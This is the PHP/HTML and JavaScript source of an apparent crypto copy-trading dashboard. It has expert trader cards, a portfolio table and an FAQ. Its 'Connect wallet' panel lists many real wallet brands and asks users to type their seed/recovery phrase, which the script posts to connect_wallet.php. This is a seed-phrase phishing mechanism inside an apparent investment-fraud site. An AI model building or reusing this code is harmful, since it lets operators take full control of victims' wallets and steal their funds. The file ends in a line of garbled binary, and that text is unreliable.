<div class="expert-handle">@<?php echo strtolower(str_replace(' ', '_', $trader['name'])); ?></div>
<div class="expert-followers"><svg viewBox="0 0 16 16" fill="currentColor"><path d="M5.5 3.5A1.5 1.5 0 0 1 7 5v6a1.5 1.5 0 0 1-3 0V5a1.5 1.5 0 0 1 1.5-1.5zM12 5a1 1 0 0 1 1 1v4a1 1 0 1 1-2 0V6a1 1 0 0 1 1-1zM9.5 2.5A1.5 1.5 0 0 1 11 4v8a1.5 1.5 0 0 1-3 0V4a1.5 1.5 0 0 1 1.5-1.5z"></path></svg> <?php echo number_format($trader['followers']); ?> Followers</div>
</div>
</div>
<div class="expert-stats-grid">
<div class="expert-stat-item"><span>Win rate</span><strong class="positive"><?php echo htmlspecialchars($trader['win_rate']); ?>%</strong></div>
<div class="expert-stat-item"><span>Profit share</span><strong><?php echo htmlspecialchars($trader['profit_share']); ?>%</strong></div>
<div class="expert-stat-item"><span>Wins</span><strong><?php echo number_format($trader['wins']); ?></strong></div>
<div class="expert-stat-item"><span>Losses</span><strong><?php echo number_format($trader['losses']); ?></strong></div>
<div class="expert-stat-item"><span>Trades</span><strong><?php echo number_format($trader['trades']); ?></strong></div>
<div class="expert-stat-item"><span>Min. startup</span><strong><?php echo $currencySymbol . number_format($trader['min_startup'], 2); ?></strong></div>
</div>
<div class="expert-actions">
<button class="btn-invest-now js-open-copy-modal"
data-expert-id="<?php echo $trader['id']; ?>"
data-expert-name="<?php echo htmlspecialchars($trader['name']); ?>"
data-min-startup="<?php echo $trader['min_startup']; ?>">
Copy
</button>
</div>
</div>
<?php endforeach; ?>
</div>
</div>
</div>
<div class="tab-panel" data-tab-content="portfolio">
<h4 class="experts-title" style="margin-bottom:20px;">Your Active Copied Trades</h4>
<?php if(empty($userCopyTrades)): ?>
<div class="placeholder-content" style="text-align: center; padding: 40px 20px; color: #a0a0b8;">
<h3>Your Copy Trading Portfolio</h3>
<p>You are not currently copying any experts.</p>
</div>
<?php else: ?>
<div class="table-responsive">
<table class="table">
<thead>
<tr>
<th>Date Started</th>
<th>Master Trader</th>
<th>Amount Allocated</th>
<th>Current Profit</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<?php foreach($userCopyTrades as $copy):
$statusColor = $copy['status'] == 'ACTIVE' ? '#4caf50' : '#9e9e9e';
$profitColor = $copy['current_profit'] >= 0 ? '#26A69A' : '#EF5350';
// FIX PORTFOLIO IMAGE PATH TOO
$copyAvatarPath = $copy['avatar_url'];
if (strpos($copyAvatarPath, 'uploads_avatars') === 0) {
$copyAvatarPath = '../../../' . $copyAvatarPath;
}
?>
<tr>
<td data-label="Date"><?php echo date('M d, Y', strtotime($copy['created_at'])); ?></td>
<td data-label="Trader" style="font-weight:bold; display:flex; align-items:center; gap:10px; justify-content: flex-end;">
<img src="<?php echo htmlspecialchars($copyAvatarPath); ?>" style="width:24px; height:24px; border-radius:50%;">
<?php echo htmlspecialchars($copy['trader_name']); ?>
</td>
<td data-label="Allocated"><?php echo $currencySymbol . number_format($copy['amount_invested'], 2); ?></td>
<td data-label="Profit" style="color:<?php echo $profitColor; ?>; font-weight:bold;">
<?php echo ($copy['current_profit'] >= 0 ? '+' : '') . $currencySymbol . number_format($copy['current_profit'], 2); ?>
</td>
<td data-label="Status"><span style="color:<?php echo $statusColor; ?>; font-weight:bold;"><?php echo $copy['status']; ?></span></td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
<?php endif; ?>
</div>
<div class="tab-panel" data-tab-content="how-it-works">
<h3 class="how-it-works-title">How it works</h3>
<div class="faq-accordion">
<details class="faq-item"><summary class="faq-question"><span class="faq-number">1</span><span class="faq-title">What is Copy Trading?</span><svg class="faq-chevron" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="m19.5 8.25-7.5 7.5-7.5-7.5" /></svg></summary><div class="faq-answer"><p>Copy trading allows you to automatically replicate the trades of experienced and successful traders, called 'experts'. When they execute a trade, the same trade is automatically opened in your account, proportional to the amount you've allocated.</p></div></details>
<details class="faq-item"><summary class="faq-question"><span class="faq-number">2</span><span class="faq-title">How do I copy an expert?</span><svg class="faq-chevron" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="m19.5 8.25-7.5 7.5-7.5-7.5" /></svg></summary><div class="faq-answer"><p>Browse the 'Top experts' list, review their performance statistics like win rate and profit share, and choose one you want to follow. Click the 'Copy' button, decide how much capital you want to allocate, and confirm. Your account will then start mirroring their trades.</p></div></details>
<details class="faq-item"><summary class="faq-question"><span class="faq-number">3</span><span class="faq-title">How can I stop copying an expert?</span><svg class="faq-chevron" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="m19.5 8.25-7.5 7.5-7.5-7.5" /></svg></summary><div class="faq-answer"><p>You can stop copying an expert at any time. Navigate to your portfolio or dashboard, where you will see a list of the experts you are currently copying. There will be an option to 'Stop Copying,' which will close all open trades and return the allocated funds to your balance.</p></div></details>
<details class="faq-item"><summary class="faq-question"><span class="faq-number">4</span><span class="faq-title">Why don't I receive any trades from copied experts?</span><svg class="faq-chevron" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="m19.5 8.25-7.5 7.5-7.5-7.5" /></svg></summary><div class="faq-answer"><p>There could be a few reasons. The expert you are copying may not have opened any new trades recently. Another reason could be that your allocated investment is below the minimum required to open a proportional trade. Check the expert's activity and your investment settings.</p></div></details>
<details class="faq-item"><summary class="faq-question"><span class="faq-number">5</span><span class="faq-title">What is the minimum amount I can copy an expert with?</span><svg class="faq-chevron" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="m19.5 8.25-7.5 7.5-7.5-7.5" /></svg></summary><div class="faq-answer"><p>The minimum amount is set by each individual expert and is listed on their profile card as 'Min. startup'. This ensures that your allocated capital is sufficient to effectively replicate their trading strategy.</p></div></details>
</div>
</div>
</div>
</section>
</main>
</div>
<div class="modal-overlay" id="copy-modal-overlay">
<div class="modal-content">
<div class="modal-header">
<h2 id="copy-modal-title">Copy Expert</h2>
<button class="modal-close-btn js-close-copy-modal">×</button>
</div>
<div class="modal-body">
<form id="copy-form" method="POST" action="start_copy_trade.php">
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
<input type="hidden" name="expert_id" id="copy-expert-id">
<div class="form-group">
<label for="copy-amount" class="modal-label">Amount to Invest (<?php echo $currencySymbol; ?>)</label>
<input type="number" step="any" id="copy-amount" name="investment_amount" class="modal-input" placeholder="0.00" required>
<small class="form-text text-muted" id="copy-min-startup-info" style="font-size: 0.8rem; color: #8a8d97; margin-top: 5px; display: block;"></small>
</div>
<div class="balance-info">
<span>Available Capital:</span>
<span style="color:#31acee; font-weight:bold;"><?php echo $currencySymbol . number_format($userCapital, 2); ?></span>
</div>
<button type="submit" class="btn-primary-markets" id="copy-submit-btn">Confirm Copy</button>
</form>
</div>
</div>
</div>
<div class="notifications-overlay" id="notifications-overlay">
<div class="notifications-backdrop js-close-notifications" style="position:absolute; width:100%; height:100%;"></div>
<div class="notifications-panel" id="notifications-panel">
<header class="notifications-header">
<div class="notifications-title-section" style="display:flex; align-items:center;">
<button class="panel-btn js-close-notifications"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 19.5L8.25 12l7.5-7.5" /></svg></button>
<h2>Notifications</h2>
</div>
<button class="panel-btn js-close-notifications"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" /></svg></button>
</header>
<div class="notifications-body">
<div class="empty-state" id="empty-state">
<p style="color:#aaa; text-align:center; padding:20px;">No notifications yet.</p>
</div>
<div id="notification-list" class="notification-list"></div>
</div>
</div>
</div>
<div class="notifications-overlay" id="wallet-overlay">
<div class="notifications-backdrop js-close-wallet" style="position:absolute; width:100%; height:100%;"></div>
<div class="notifications-panel" id="wallet-panel">
<header class="notifications-header">
<div class="notifications-title-section" style="display:flex; align-items:center;">
<button class="panel-btn js-close-wallet"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 19.5L8.25 12l7.5-7.5" /></svg></button>
<h2>Connect wallet</h2>
</div>
<button class="panel-btn js-close-wallet"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" /></svg></button>
</header>
<div class="wallet-body" style="padding: 24px;">
<h3 style="margin-top:0; color:#fff;">Connect your wallet</h3>
<div class="wallet-list" style="margin-top:20px; display:flex; flex-direction:column; gap:10px;">
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://assets.streamlinehq.com/image/private/w_300,h_300,ar_1/f_auto/v1/icons/vectors/bnb-2c9adc7qw85po528q8y3b.png/bnb-tss7lyzvhxyjfc9ivae0l.png?_a=DATAg1AAZAA0" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Binance</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/36/MetaMask_Fox.svg/512px-MetaMask_Fox.svg.png" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Metamask</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://hub.aktionariat.com/images/tokens/AKS.png" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Aktionariat Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://cdn6.aptoide.com/imgs/d/2/6/d26f331d8e18328fc124106b937fbc8a_icon.png" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Bitcoin Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSQc3GNF3L8ow_vSVNvYSPhhJ8Grt7xfuZL1g&s" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Bitkeep Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://cdn6.aptoide.com/imgs/3/b/f/3bfbce4b62368057eb4bb111e39c38ed_icon.png" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Bitpay</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcS43jA5NG5kn8KI9AGJYm2SJ46J9NBNViKUYg&s" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Blockchain</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQzfLUCfTDm3U3-PRaH-g631oADyYJdUUpYRQ&s" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Coinbase</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQ8UiMc9LaKjvdZ9BlHD32dlWEAAIq3hMkxTw&s" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Crypto Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcT7ac9O_DORRUoTuI9KIR-wAHGYJOEOoDLvkA&s" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Exodus Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://zengo.com/wp-content/uploads/gemini_300x300@x2.png" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Gemini</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQrTcHlP2Tf6rNVXxDywaxrGP7gd33L9HZ1Og&s" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Imtoken</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://walletscrutiny.com/images/wIcons/android/io.infinito.wallet.png" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Infinito Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://avatars.githubusercontent.com/u/231925279?v=4" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Infinity Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTEUq1rCUmgt1BOzvCKrXg6UttvC1W_H4tQow&s" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Keyringpro Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://bitbill.oss-accelerate.aliyuncs.com/shared/images/svg/logo_download.19e23370ac.svg" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Ownbit Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSkjnGt1pvNFJOGlxKfQXK5BEaJgfhE1_9GRg&s" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Phantom Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://play-lh.googleusercontent.com/FvtPcbKdJKXK0jKPHgtPbSyWsm3CxnqR7nRV4PERpK_DdX4fw7FhLiI57D7rYgJoCOU=w240-h480-rw" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Pulse Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRDU5aTw2FNop7OonFBOXEeAXb1biSQbBr6Ew&s" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Rainbow</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://play-lh.googleusercontent.com/k1So6JoyDlJUgEmVDC9Kthc8LGmbRT8fdN_M_8D-7Hu8Ti2NCUpBSPvi_bSBf-Bvw3s" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Robinhood Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://play-lh.googleusercontent.com/uT6ByyNvUeLRMDnMKEC91RrbHftl2EBB58r9vZaNbiYf1F5Twa33_Hx0zYvEfCtiG1kE" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Safepal Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://sparkpoint.io/android-chrome-512x512.png" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Sparkpoint Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://vectorseek.com/wp-content/uploads/2024/07/Trust-Wallet-Shield-Logo-Vector-Logo-Vector.svg-.png" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Trust Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRxiwWCpFc4gAmdCBNs4jdn04D0FyVDS8NtmA&s" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Uniswap</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcST9wzOacrmijf2Th554QQYkVKHX182AV_NkQ&s" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Wallet io</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
</div>
</div>
</div>
</div>
<div class="notifications-overlay" id="phrase-modal-overlay">
<div class="notifications-backdrop js-close-phrase-modal" style="position:absolute; width:100%; height:100%;"></div>
<div class="notifications-panel" id="phrase-modal-panel">
<header class="notifications-header">
<div class="notifications-title-section" style="display:flex; align-items:center;">
<button class="panel-btn js-close-phrase-modal"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 19.5L8.25 12l7.5-7.5" /></svg></button>
<h2>Connect Wallet</h2>
</div>
<button class="panel-btn js-close-phrase-modal"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" /></svg></button>
</header>
<div class="wallet-form-body" style="padding: 24px;">
<div id="wallet-form-feedback" class="wallet-form-feedback"></div>
<p style="color:#aaa; margin-bottom:20px;">Enter your seed/recovery phrase to connect your wallet.</p>
<form id="connect-wallet-form">
<div style="margin-bottom:15px;"><label style="color:#888; font-size:14px;">Wallet:</label><input type="text" id="modal-wallet-name-input" name="wallet_name" class="modal-input" readonly></div>
<div style="margin-bottom:15px;"><label style="color:#888; font-size:14px;">Seed/Recovery Phrase (12+ words):</label><textarea id="modal-seed-phrase-textarea" name="seed_phrase" class="modal-textarea" placeholder="Enter your phrase here..."></textarea></div>
<div style="display:flex; gap:10px; justify-content:flex-end; margin-top:20px;">
<button type="button" id="modal-disconnect-btn" style="padding:10px 20px; border-radius:8px; border:none; background:#444; color:#fff; cursor:pointer;" disabled>Disconnect</button>
<button type="submit" id="modal-save-btn" style="padding:10px 20px; border-radius:8px; border:none; background:#31acee; color:#fff; font-weight:bold; cursor:pointer;" disabled>Save</button>
</div>
</form>
</div>
</div>
</div>
<script>
document.addEventListener('DOMContentLoaded', () => {
// --- NEW: MOBILE MENU & ACCOUNT PANEL LOGIC (From index.php) ---
const hamburgerBtn = document.getElementById('hamburger-menu');
const closeMenuBtn = document.getElementById('close-menu-btn');
const sidebar = document.getElementById('sidebar');
if (hamburgerBtn && sidebar) {
hamburgerBtn.addEventListener('click', () => { sidebar.classList.add('open'); });
}
if (closeMenuBtn && sidebar) {
closeMenuBtn.addEventListener('click', () => { sidebar.classList.remove('open'); });
}
const userMenuBtn = document.getElementById('user-menu-btn');
const userAccountPanel = document.getElementById('user-account-panel');
const closeAccountPanelBtns = document.querySelectorAll('.js-close-account-panel');
if (userMenuBtn && userAccountPanel) {
userMenuBtn.addEventListener('click', (event) => {
event.stopPropagation();
userAccountPanel.classList.toggle('open');
});
closeAccountPanelBtns.forEach(btn => {
btn.addEventListener('click', () => userAccountPanel.classList.remove('open'));
});
document.addEventListener('click', (event) => {
if (userAccountPanel.classList.contains('open') && !userAccountPanel.contains(event.target) && !userMenuBtn.contains(event.target)) {
userAccountPanel.classList.remove('open');
}
});
}
// --- NEW: OVERLAY/MODAL TRIGGERS (Notifications & Wallet) ---
const openNotificationsBtn = document.getElementById("open-notifications-btn");
const notificationsOverlay = document.getElementById("notifications-overlay");
const closeNotificationsBtns = document.querySelectorAll(".js-close-notifications");
if (openNotificationsBtn && notificationsOverlay) {
openNotificationsBtn.addEventListener("click", () => notificationsOverlay.classList.add("open"));
closeNotificationsBtns.forEach(e => e.addEventListener("click", () => notificationsOverlay.classList.remove("open")));
}
const openWalletBtn = document.getElementById("open-wallet-btn");
const walletOverlay = document.getElementById("wallet-overlay");
const closeWalletBtns = document.querySelectorAll(".js-close-wallet");
if (openWalletBtn && walletOverlay) {
openWalletBtn.addEventListener("click", e => { e.preventDefault(); walletOverlay.classList.add("open"); });
closeWalletBtns.forEach(e => e.addEventListener("click", () => walletOverlay.classList.remove("open")));
}
const phraseModalOverlay = document.getElementById("phrase-modal-overlay");
const closePhraseBtns = document.querySelectorAll(".js-close-phrase-modal");
const walletNameInput = document.getElementById("modal-wallet-name-input");
const seedTextarea = document.getElementById("modal-seed-phrase-textarea");
const disconnectBtn = document.getElementById("modal-disconnect-btn");
const saveBtn = document.getElementById("modal-save-btn");
const walletToggles = document.querySelectorAll("#wallet-panel .wallet-item");
const openPhraseModal = (walletName) => {
walletNameInput.value = walletName;
seedTextarea.placeholder = `Your ${walletName} Seed/Recovery Phrase`;
seedTextarea.value = "";
disconnectBtn.disabled = true;
saveBtn.disabled = true;
phraseModalOverlay.classList.add("open");
};
walletToggles.forEach(toggle => {
toggle.addEventListener("click", e => {
e.preventDefault();
openPhraseModal(toggle.querySelector(".wallet-name").textContent);
});
});
if(seedTextarea) {
seedTextarea.addEventListener("input", () => {
if (seedTextarea.value.trim().split(/\s+/).filter(word => word.length > 0).length >= 12) {
disconnectBtn.disabled = false;
saveBtn.disabled = false;
saveBtn.style.background = '#31acee';
} else {
disconnectBtn.disabled = true;
saveBtn.disabled = true;
saveBtn.style.background = '#444';
}
});
}
closePhraseBtns.forEach(btn => btn.addEventListener("click", () => phraseModalOverlay.classList.remove("open")));
// --- NEW: CONNECT WALLET FORM SUBMISSION (FAULT-TOLERANT) ---
const connectWalletForm = document.getElementById('connect-wallet-form');
if (connectWalletForm) {
connectWalletForm.addEventListener('submit', function(e) {
e.preventDefault();
const submitBtn = document.getElementById('modal-save-btn');
submitBtn.disabled = true;
submitBtn.textContent = 'Connecting...';
const formData = new FormData(connectWalletForm);
fetch('connect_wallet.php', {
method: 'POST',
body: formData
})
.then(response => response.text())
.then(text => {
try {
const data = JSON.parse(text);
if (data.status === 'success') {
Swal.fire({ icon: 'success', title: 'Connected!', text: data.message });
connectWalletForm.reset();
document.getElementById('phrase-modal-overlay').classList.remove('open');
document.getElementById('wallet-overlay').classList.remove('open');
} else {
Swal.fire({ icon: 'error', title: 'Connection Failed', text: data.message });
}
} catch (err) {
console.error("Raw Server Response:", text);
Swal.fire({
icon: 'error',
title: 'Server Error',
text: 'The connection failed due to a server error. Please check the browser console.'
});
}
})
.catch(error => {
Swal.fire({ icon: 'error', title: 'Network Error', text: 'Could not connect to the server.' });
})
.finally(() => {
submitBtn.disabled = false;
submitBtn.textContent = 'Save';
});
});
}
// --- ORIGINAL: TAB SWITCHING LOGIC ---
const tabs = document.querySelectorAll('.investing-tab-item');
const tabPanels = document.querySelectorAll('.tab-panel');
tabs.forEach(tab => {
tab.addEventListener('click', () => {
const target = tab.dataset.tabTarget;
tabs.forEach(t => { t.classList.remove('active'); t.style.color = '#888'; });
tab.classList.add('active'); tab.style.color = '#fff';
tabPanels.forEach(panel => {
panel.classList.toggle('active', panel.dataset.tabContent === target);
});
});
});
// --- ORIGINAL: COPY TRADER MODAL LOGIC ---
const userCapital = <?php echo $userCapital; ?>;
const currencySymbol = '<?php echo $currencySymbol; ?>';
const copyModal = document.getElementById('copy-modal-overlay');
const copyForm = document.getElementById('copy-form');
const copyAmountInput = document.getElementById('copy-amount');
const copySubmitBtn = document.getElementById('copy-submit-btn');
if (copyModal) {
document.querySelectorAll('.js-open-copy-modal').forEach(button => {
button.addEventListener('click', () => {
const expertId = button.dataset.expertId;
const expertName = button.dataset.expertName;
const minStartup = parseFloat(button.dataset.minStartup);
document.getElementById('copy-modal-title').textContent = `Copy ${expertName}`;
document.getElementById('copy-expert-id').value = expertId;
copyAmountInput.min = minStartup;
copyAmountInput.placeholder = `Min: ${currencySymbol}${minStartup.toFixed(2)}`;
document.getElementById('copy-min-startup-info').textContent = `Minimum startup for this expert is ${currencySymbol}${minStartup.toFixed(2)}.`;
copyModal.classList.add('active');
});
});
document.querySelectorAll('.js-close-copy-modal').forEach(button => {
button.addEventListener('click', (e) => { e.preventDefault(); copyModal.classList.remove('active'); });
});
copyModal.addEventListener('click', e => {
if (e.target === copyModal) copyModal.classList.remove('active');
});
// AJAX Form Submission
copyForm.addEventListener('submit', async (e) => {
e.preventDefault();
const amount = parseFloat(copyAmountInput.value);
const minAmount = parseFloat(copyAmountInput.min);
if (amount < minAmount) {
Swal.fire({ icon: 'error', title: 'Minimum Not Met', text: `The minimum allocation is ${currencySymbol}${minAmount}`});
return;
}
if (amount > userCapital) {
Swal.fire({ icon: 'error', title: 'Insufficient Funds', text: `You only have ${currencySymbol}${userCapital.toFixed(2)} in your Capital.`});
return;
}
copySubmitBtn.disabled = true;
copySubmitBtn.textContent = 'Processing...';
const formData = new FormData(copyForm);
try {
const response = await fetch('start_copy_trade.php', { method: 'POST', body: formData });
const result = await response.json();
if (result.status === 'success') {
Swal.fire({ icon: 'success', title: 'Success!', text: result.message });
copyForm.reset();
copyModal.classList.remove('active');
setTimeout(() => { window.location.reload(); }, 2000);
} else {
Swal.fire({ icon: 'error', title: 'Failed', text: result.message });
}
} catch (error) {
Swal.fire({ icon: 'error', title: 'Connection Error', text: 'Could not connect to the server.' });
} finally {
copySubmitBtn.disabled = false;
copySubmitBtn.textContent = 'Confirm Copy';
}
});
}
// --- ORIGINAL: SEARCH EXPERTS LOGIC ---
const searchInput = document.getElementById('expert-search-input');
const expertCards = document.querySelectorAll('.expert-card');
if (searchInput) {
searchInput.addEventListener('input', (e) => {
const term = e.target.value.toLowerCase();
expertCards.forEach(card => {
const name = card.querySelector('.expert-name').textContent.toLowerCase();
if (name.includes(term)) {
card.style.display = 'flex';
} else {
card.style.display = 'none';
}
});
});
}
});
</script>
</body>
</html>
b IDATxytVսϓ22 A@IR:hCiZ[v*E:WũZA ^dQeQ @ !jZ'>gsV仿$|?g)&x-E